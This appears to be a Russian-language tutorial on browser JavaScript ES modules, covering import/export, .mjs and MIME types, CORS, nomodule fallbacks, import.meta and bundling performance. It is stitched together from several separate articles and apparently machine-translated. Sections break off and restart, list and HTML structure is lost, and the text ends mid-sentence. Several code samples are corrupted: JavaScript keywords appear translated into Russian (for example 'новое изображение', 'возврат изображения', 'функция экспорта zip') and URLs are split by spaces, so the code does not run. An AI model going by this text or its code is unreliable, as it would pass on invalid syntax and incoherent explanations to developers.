Программы на JavaScript начинались довольно с малого — вначале они чаще всего использовались для выполнения изолированных задач сценариев, обеспечивающих некоторую интерактивность ваших веб-страниц там, где это необходимо, поэтому большие сценарии, как правило, не требовались. Перенесемся на несколько лет вперед, и теперь у нас есть полные приложения, запускаемые в браузерах с большим количеством JavaScript, а также JavaScript, используемый в других контекстах (Node.js, например).
Поэтому в последние годы имело смысл задуматься о предоставлении механизмов для разделения программ JavaScript на отдельные модули, которые можно импортировать при необходимости. Node.js обладает этой возможностью уже давно, и существует ряд библиотек и фреймворков JavaScript, которые позволяют использовать модули (например, другие модульные системы на базе CommonJS и AMD, такие как RequireJS, а с недавних пор — Webpack и Babel).
Хорошая новость заключается в том, что современные браузеры изначально поддерживают функциональность модулей, и именно об этом вся эта статья.Это может быть только хорошо — браузеры могут оптимизировать загрузку модулей, делая ее более эффективной, чем необходимость использования библиотеки, и выполнять всю эту дополнительную обработку на стороне клиента и дополнительные циклы обработки.
Использование собственных модулей JavaScript зависит от операторов import
и export
; они поддерживаются в браузерах следующим образом:
импорт
таблицы BCD загружаются только в браузере
экспорт
таблицы BCD загружаются только в браузере
Чтобы продемонстрировать использование модулей, мы создали простой набор примеров, которые вы можете найти на GitHub.Эти примеры демонстрируют простой набор модулей, которые создают элемент
на веб-странице, а затем рисуют (и сообщают информацию о) различные формы на холсте.
Это довольно тривиальные, но они намеренно оставлены простыми для ясной демонстрации модулей.
Примечание: Если вы хотите загрузить примеры и запустить их локально, вам нужно будет запустить их через локальный веб-сервер.
В нашем первом примере (см. Основные модули) у нас есть следующая файловая структура:
Индекс.html main.js модули / canvas.js square.js
Примечание: Все примеры в этом руководстве в основном имеют одинаковую структуру; Вышеупомянутое должно начать знакомиться.
Два модуля каталога модулей описаны ниже:
-
canvas.js
— содержит функции, связанные с настройкой холста:-
create ()
— создает холст с указанной ширинойс указанным идентификатором, который сам добавляется внутри указанного родительского элемента.Возвращает объект, содержащий 2D-контекст холста и идентификатор оболочки.createReportList ()
— создает неупорядоченный список, добавленный внутри указанного элемента оболочки, который можно использовать для вывода данных отчета в. Возвращает идентификатор списка.square.js
— содержит:-
имя
— константа, содержащая строку «квадрат». -
draw ()
— рисует квадрат на указанном холсте с указанным размером, положением и цветом.Возвращает объект, содержащий размер, положение и цвет квадрата. -
reportArea ()
— записывает площадь квадрата в определенный список отчетов с учетом его длины. -
reportPerimeter ()
— записывает периметр квадрата в определенный список отчетов с учетом его длины.
На протяжении всей этой статьи мы использовали расширения
.js
для наших файлов модулей, но в других ресурсах вы можете увидеть вместо него расширение.mjs
.Документация V8 рекомендует это, например. Приведены следующие причины:- Это полезно для ясности, т.е. дает понять, какие файлы являются модулями, а какие — обычным JavaScript.
- Это гарантирует, что файлы вашего модуля анализируются как модуль средами выполнения, такими как Node.js, и инструментами сборки, такими как Babel.
Однако мы решили продолжать использовать
.js
, по крайней мере, на данный момент. Чтобы модули работали правильно в браузере, вам необходимо убедиться, что ваш сервер обслуживает их с заголовкомContent-Type
, который содержит MIME-тип JavaScript, такой какtext / javascript
.Если вы этого не сделаете, вы получите ошибку строгой проверки типа MIME вроде «Сервер ответил типом MIME, отличным от JavaScript», и браузер не будет запускать ваш JavaScript. Большинство серверов уже установили правильный тип для файлов.js
, но еще не для файлов.mjs
. Серверы, которые уже обслуживаютфайлов .mjs
, правильно включают GitHub Pages иhttp-server
для Node.js.Это нормально, если вы уже используете такую среду или нет, но вы знаете, что делаете, и имеете доступ (т.е. вы можете настроить свой сервер для установки правильного
Content-Type
для файлов.mjs
). Однако это может вызвать путаницу, если вы не контролируете сервер, с которого обслуживаете файлы, или публикуете файлы для общего пользования, как мы здесь.Для обучения и переносимости мы решили оставить
.js
.Если вы действительно цените ясность использования
.mjs
для модулей по сравнению с использованием.js
для «обычных» файлов JavaScript, но не хотите столкнуться с проблемой, описанной выше, вы всегда можете использовать.mjs
во время разработки и преобразовать их в.js
на этапе сборки.Также стоит отметить, что:
- Некоторые инструменты могут никогда не поддерживать
.mjs
, например TypeScript. - Атрибут
Вы также можете встроить сценарий модуля непосредственно в файл HTML, поместив код JavaScript в тело элемента
Сценарий, в который вы импортируете функции модуля, в основном действует как модуль верхнего уровня.Если вы его опустите, Firefox, например, выдает ошибку «SyntaxError: объявления импорта могут появляться только на верхнем уровне модуля».
Внутри модулей можно использовать только операторы
import
иexport
, а не обычные сценарии.- Вам нужно обратить внимание на локальное тестирование - если вы попытаетесь загрузить файл HTML локально (то есть с URL-адресом
file: //
), вы столкнетесь с ошибками CORS из-за требований безопасности модуля JavaScript. Вам нужно проводить тестирование через сервер. - Также обратите внимание, что вы можете получить другое поведение из разделов скрипта, определенных внутри модулей, в отличие от стандартных скриптов. Это связано с тем, что модули автоматически используют строгий режим.
- Нет необходимости использовать атрибут
defer
(см. Атрибуты
Браузеры, которые понимают
type =" module "
, игнорируют сценарии с атрибутомnomodule
. Это означает, что вы можете обслуживать полезная нагрузка на основе модулей для браузеров, поддерживающих модули, в то же время обеспечивая запасной вариант для других браузеров. Возможность сделать это различие потрясающе, хотя бы для производительности! Подумайте об этом: только современные браузеры поддерживают модули. Если браузер понимает код вашего модуля, он также поддерживает функции, которые были до модулей, такие как функции стрелок илиasync
-await
.Вам больше не нужно переносить эти функции в пакет модулей! Вы можете передавать в современные браузеры меньшие по размеру и в значительной степени нетранслируемые полезные нагрузки на основе модулей. Только устаревшие браузеры получают полезную нагрузкуnomodule
.Поскольку модули по умолчанию отложены, вы можете также загрузить сценарий
nomodule
в отложенном режиме:
< script nomodule defer src = "fallback.js">Специфичные для браузера различия между модулями и классическими скриптами #
Как вы теперь знаете, модули отличаются от классических скриптов.Помимо различий, не зависящих от платформы, которые мы описали выше, есть некоторые отличия, специфичные для браузеров.
Например, модули оцениваются только один раз, тогда как классические сценарии оцениваются, сколько бы раз вы ни добавляли их в DOM.
Кроме того, скрипты модулей и их зависимости загружаются с помощью CORS. Это означает, что любые сценарии модуля с перекрестным источником должны обслуживаться с правильными заголовками, такими как
Access-Control-Allow-Origin: *
. Это не относится к классическим сценариям.Другое отличие относится к атрибуту
async
, который заставляет скрипт загружаться без блокировки парсера HTML (например,defer
), за исключением того, что он также выполняет скрипт как можно скорее, без гарантированного порядка и без ожидания HTML. парсинг до конца.Атрибутasync
не работает для встроенных классических скриптов, но он работает для встроенногоВ отличие от статического импорта
()
можно использовать из обычных скриптов.Это простой способ постепенно начать использовать модули в существующей кодовой базе. Подробнее читайте в нашей статье о динамическом импорте()
.import.meta
#Еще одна новая функция, связанная с модулем, - это
import.meta
, которая предоставляет вам метаданные о текущем модуле. Точные метаданные, которые вы получаете, не указываются как часть ECMAScript; это зависит от среды хоста. В браузере вы можете получить другие метаданные, чем, например, в Node.js.Вот пример
import.meta
в Интернете. По умолчанию изображения загружаются относительно текущего URL-адреса в HTML-документах.import.meta.url
позволяет вместо этого загрузить изображение, относящееся к текущему модулю.function loadThumbnail (relativePath) {
const url = new URL (relativePath, import.meta.url);
const image = новое изображение ();
image.src = url;
возврат изображения;
}const thumbnail = loadThumbnail ('../ img / thumbnail.png ');
container.append (эскиз);Рекомендации по производительности #
Keep bundling #
С модулями становится возможным разрабатывать веб-сайты без использования таких комплектов, как webpack, Rollup или Parcel. Можно использовать собственные модули JS непосредственно в следующих сценариях:
- во время локальной разработки
- в производстве для небольших веб-приложений с менее чем 100 модулями в общей сложности и с относительно неглубоким деревом зависимостей (т.е.е. максимальная глубина менее 5)
Однако, как мы узнали во время анализа узких мест конвейера загрузки Chrome при загрузке модульной библиотеки, состоящей из ~ 300 модулей, производительность загрузки связанных приложений лучше, чем разгруппированных.
Одна из причин этого заключается в том, что синтаксис static
import
/export
поддается статическому анализу и, таким образом, может помочь инструментам компоновщика оптимизировать ваш код за счет исключения неиспользуемых экспортов. Статический импортНаша общая рекомендация - продолжать использовать сборщики пакетов перед развертыванием модулей в производственной среде. В некотором смысле, объединение в пакеты - это оптимизация, аналогичная минимизации вашего кода: это приводит к увеличению производительности, потому что вы в конечном итоге отправляете меньше кода. Объединение дает тот же эффект! Продолжайте связывать.
Как всегда, функция DevTools Code Coverage может помочь вам определить, не навязываете ли вы ненужный код пользователям. Мы также рекомендуем использовать разделение кода для разделения пакетов и для отсрочки загрузки критических скриптов, не относящихся к первому значению-Paint.
Компромисс между объединением и доставкой разделенных модулей #
Как обычно в веб-разработке, все идет в обмен.Доставка разделенных модулей может снизить производительность начальной загрузки (холодный кеш), но на самом деле может улучшить производительность загрузки для последующих посещений (теплый кеш) по сравнению с отправкой одного пакета без разделения кода. Для кодовой базы 200 КБ изменение одного детализированного модуля и использование этого единственного запроса с сервера для последующих посещений намного лучше, чем необходимость повторного получения всего пакета.
Если вас больше интересует опыт посетителей с теплыми кешами, чем производительность первого посещения, и у вас есть сайт с менее чем несколькими сотнями детализированных модулей, вы можете поэкспериментировать с доставкой разделенных модулей, измерить влияние на производительность обоих холодные и теплые нагрузки, а затем принимайте решение на основе данных!
Разработчики браузеров усиленно работают над улучшением производительности готовых модулей.Мы ожидаем, что со временем поставка разделенных модулей станет возможной в большем количестве ситуаций.
Используйте мелкозернистые модули #
Возьмите за привычку писать свой код, используя небольшие детализированные модули. Во время разработки, как правило, лучше иметь всего несколько экспортов на модуль, чем вручную объединять множество экспортов в один файл.
Рассмотрим модуль с именем
./util.mjs
, который экспортирует три функции с именамиdrop
,pluck
иzip
:export function drop () {}
export function pluck () {}
функция экспорта zip () {}Если вашей кодовой базе действительно нужна только функциональность
pluck
, вы, вероятно, импортируете ее следующим образом:import {pluck} from './util.mjs ';
В этом случае (без этапа связывания во время сборки) браузеру по-прежнему приходится загружать, анализировать и компилировать весь модуль
./util.mjs
, даже если ему действительно нужен только один экспорт. Это расточительно!Если
pluck
не разделяет какой-либо код сdrop
иzip
, было бы лучше переместить его в свой собственный мелкозернистый модуль, например./pluck.mjs
.экспортная функция pluck () {}
Затем мы можем импортировать
pluck
без накладных расходов на обработкуdrop
иzip
:import {pluck} from './pluck.mjs ';
Примечание: Вы можете использовать экспорт
по умолчанию
вместо именованного экспорта здесь, в зависимости от ваших личных предпочтений.Это не только делает ваш исходный код красивым и простым, но и снижает потребность в устранении мертвого кода, выполняемом сборщиками. Если один из модулей в вашем исходном дереве не используется, он никогда не импортируется, и поэтому браузер никогда не загружает его. Модули, которые используются и , могут быть индивидуально кэшированы браузером.(Инфраструктура для этого уже реализована в V8, и в настоящее время ведется работа по ее включению в Chrome.)
Использование небольших детализированных модулей помогает подготовить базу кода к будущему, когда может быть доступно собственное решение для связывания. .
Предварительная загрузка модулей #
Вы можете дополнительно оптимизировать доставку ваших модулей, используя
Это особенно важно для больших деревьев зависимостей. Без
rel = "modulepreload"
браузеру необходимо выполнить несколько HTTP-запросов, чтобы вычислить полное дерево зависимостей. Однако, если вы объявите полный список скриптов зависимых модулей с помощьюrel = "modulepreload"
, браузеру не придется обнаруживать эти зависимости постепенно.Использовать HTTP / 2 #
Использование HTTP / 2 там, где это возможно, всегда является хорошим советом по производительности, хотя бы для поддержки мультиплексирования. Благодаря мультиплексированию HTTP / 2 одновременно может передаваться несколько сообщений запроса и ответа, что полезно для загрузки деревьев модулей.
Команда Chrome исследовала, может ли другая функция HTTP / 2, в частности, HTTP / 2 server push, быть практическим решением для развертывания высокомодульных приложений. К сожалению, push-сервер HTTP / 2 сложно реализовать правильно, а реализации веб-серверов и браузеров в настоящее время не оптимизированы для высокомодульных сценариев использования веб-приложений.Например, сложно протолкнуть только те ресурсы, которые пользователь еще не кэшировал, и решение этой проблемы путем передачи всего состояния кеша источника на сервер представляет собой риск для конфиденциальности.
Так что непременно используйте HTTP / 2! Просто имейте в виду, что push-сервер HTTP / 2 (к сожалению) не является серебряной пулей.
Внедрение модулей JS в Интернете #
Модули JS постепенно получают распространение в Интернете. Наши счетчики использования показывают, что 0,08% всех загрузок страниц в настоящее время используют
Элемент
Примечание: этот импорт модуля ведет себя как загрузка сценария
defer
. Смотрите, как эффективно загружать JavaScript с помощью defer и asyncВажно отметить, что любой скрипт, загруженный с
type = "module"
, загружается в строгом режиме.В этом примере модуль
uppercase.js
определяет экспорт по умолчанию , поэтому, когда мы импортируем его, мы можем присвоить ему имя, которое мы предпочитаем:импорт в верхний регистр из './uppercase.js'
и мы можем его использовать:
toUpperCase ('test') // 'ТЕСТ'
Вы также можете использовать абсолютный путь для импорта модуля, чтобы ссылаться на модули, определенные в другом домене:
импортировать в верхний регистр из https: // flavio-es-modules-example.glitch.me/uppercase.js '
Это также допустимый синтаксис импорта:
импорт {toUpperCase} из '/uppercase.js' импортировать {toUpperCase} из "../uppercase.js"
Это не:
импорт {toUpperCase} из 'uppercase.js' импортировать {toUpperCase} из utils / uppercase.js
Это либо абсолютное значение, либо перед именем стоит
./
или/
.Другие варианты импорта / экспорта
Мы видели этот пример выше:
экспорт по умолчанию str => str.toUpperCase ()
Создает один экспорт по умолчанию. Однако в файл вы можете экспортировать более одного объекта, используя этот синтаксис:
const a = 1 const b = 2 const c = 3 экспорт {a, b, c}
Другой модуль может импортировать все эти экспортные данные, используя
Вы можете импортировать только некоторые из этих экспортов, используя назначение деструктуризации:
импорт {a} из "модуля" импортировать {a, b} из "модуля"
Вы можете переименовать любой импорт, для удобства, используя
как
:импорт {a, b как два} из 'модуля'
Вы можете импортировать экспорт по умолчанию и любой другой экспорт по имени, как в этом обычном импорте React:
импортировать React, {Component} из 'react'
Вы можете увидеть пример модулей ES здесь: https: // glitch.com / edit / #! / flavio-es-modules-example? path = index.html
CORS
Модули загружаются с помощью CORS. Это означает, что если вы ссылаетесь на сценарии из других доменов, они должны иметь допустимый заголовок CORS, который разрешает межсайтовую загрузку (например,
Access-Control-Allow-Origin: *
)А как насчет браузеров, не поддерживающих модули?
Используйте комбинацию
.type = "module"
иnomodule
:Заключение
МодулиES - одна из важнейших функций, представленных в современных браузерах. Они являются частью ES6, но путь к их реализации был долгим.
Теперь мы можем их использовать! Но мы также должны помнить, что наличие более чем нескольких модулей приведет к снижению производительности наших страниц, поскольку это еще один шаг, который браузер должен выполнить во время выполнения.
Webpack, вероятно, по-прежнему будет большим игроком, даже если модули ES появятся в браузере, но наличие такой функции, непосредственно встроенной в язык, имеет огромное значение для унификации того, как модули работают на стороне клиента и на Node.js.
История веб-разработки: модули JavaScript
Некоторое время назад я опубликовал статью о понимании инструментов внешнего интерфейса. Я упомянул, что способ разобраться во всех инструментах и фреймворках, существующих в мире JavaScript, - это попробовать написать веб-приложение на простом JavaScript и начать задавать вопросы.
Один из вопросов:
Как сделать наш код JavaScript модульным , имея каждый фрагмент кода , независимый друг от друга, не беспокоясь о других частях кода, влияющих на него, но при этом может совместно использовать функциональность между различными модулями.
Итак, я попытаюсь ответить на этот вопрос, сначала исследуя, как все делается «ванильным» способом, и свои два цента о присущих ему проблемах и о том, как каждый инструмент помогает решить эти проблемы.
Представьте себе следующий сценарий:
Вы пишете веб-приложение. Вы создали сценарий
app.js
и добавили тег
- Вам нужно обратить внимание на локальное тестирование - если вы попытаетесь загрузить файл HTML локально (то есть с URL-адресом
-